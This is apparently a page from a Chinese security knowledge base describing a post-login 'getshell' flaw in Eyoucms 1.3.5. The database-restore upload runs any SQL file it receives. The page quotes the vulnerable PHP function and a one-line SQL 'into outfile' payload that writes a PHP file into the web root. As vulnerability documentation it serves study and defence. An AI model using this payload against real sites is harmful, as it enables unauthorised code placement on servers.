menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 042-Eyoucms chevron_right 002-Eyoucms 1.3.5 后台getshell.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    002-Eyoucms 1.3.5 后台getshell.md
    2.14 KB / 2021-07-17 00:01:24
        # Eyoucms 1.3.5 后台getshell
    
    ### 一、漏洞简介
    
    最新版本删除该功能
    
    ### 二、漏洞影响
    
    Eyoucms 1.3.5
    
    ### 三、复现过程
    
    **漏洞分析**
    
    相关功能代码在application/admin/controller/Tools.php
    
    
    ```php
    public function restoreUpload()
     {
         $file = request()->file('sqlfile');
         if(empty($file)){
             $this->error('请上传sql文件');
         }
         // 移动到框架应用根目录/data/sqldata/ 目录下
         $path = tpCache('global.web_sqldatapath');
         $path = !empty($path) ? $path : config('DATA_BACKUP_PATH');
         $path = trim($path, '/');
         $image_upload_limit_size = intval(tpCache('basic.file_size') * 1024 * 1024);
         $info = $file->validate(['size'=>$image_upload_limit_size,'ext'=>'sql,gz'])->move($path, $_FILES['sqlfile']['name']);
         if ($info) {
             //上传成功 获取上传文件信息
             $file_path_full = $info->getPathName();
             if (file_exists($file_path_full)) {
                 $sqls = Backup::parseSql($file_path_full);
                 if(Backup::install($sqls)){
                    //array_map("unlink", glob($path));
                     /*清除缓存*/
                     delFile(RUNTIME_PATH);
                     /*--end*/
                     $this->success("执行sql成功", url('Tools/restore'));
                 }else{
                     $this->error('执行sql失败');
                 }
             } else {
                 $this->error('sql文件上传失败');
             }
         } else {
             //上传错误提示错误信息
             $this->error($file->getError());
         }
     }
    ```
    
    上传过程中只验证了文件的大小和后缀,之后解析sql语句并执行。解析sql函数不再贴出,但并没有检测文件内容正常的sql语句都能通过解析。install函数直接执行了sql语句。
    
    **漏洞复现**
    
    登陆后台在高级选项->备份还原->数据还原可选择上传sql文件并执行
    
    ![](images/15890221371725.png)
    
    
    上传sql文件内容为(需要知道网站绝对路径)
    
    
    ```sql
    select '<?php phpinfo(); ?>' into outfile 'D:\\tools\\phpstudy\\phpstudy_pro\\WWW\\testcms\\1.php';
    ```
    
    上传成功后在网站根目录生成webshell。
    
    ![](images/15890221580392.png)
    
    
    
    links
    file_download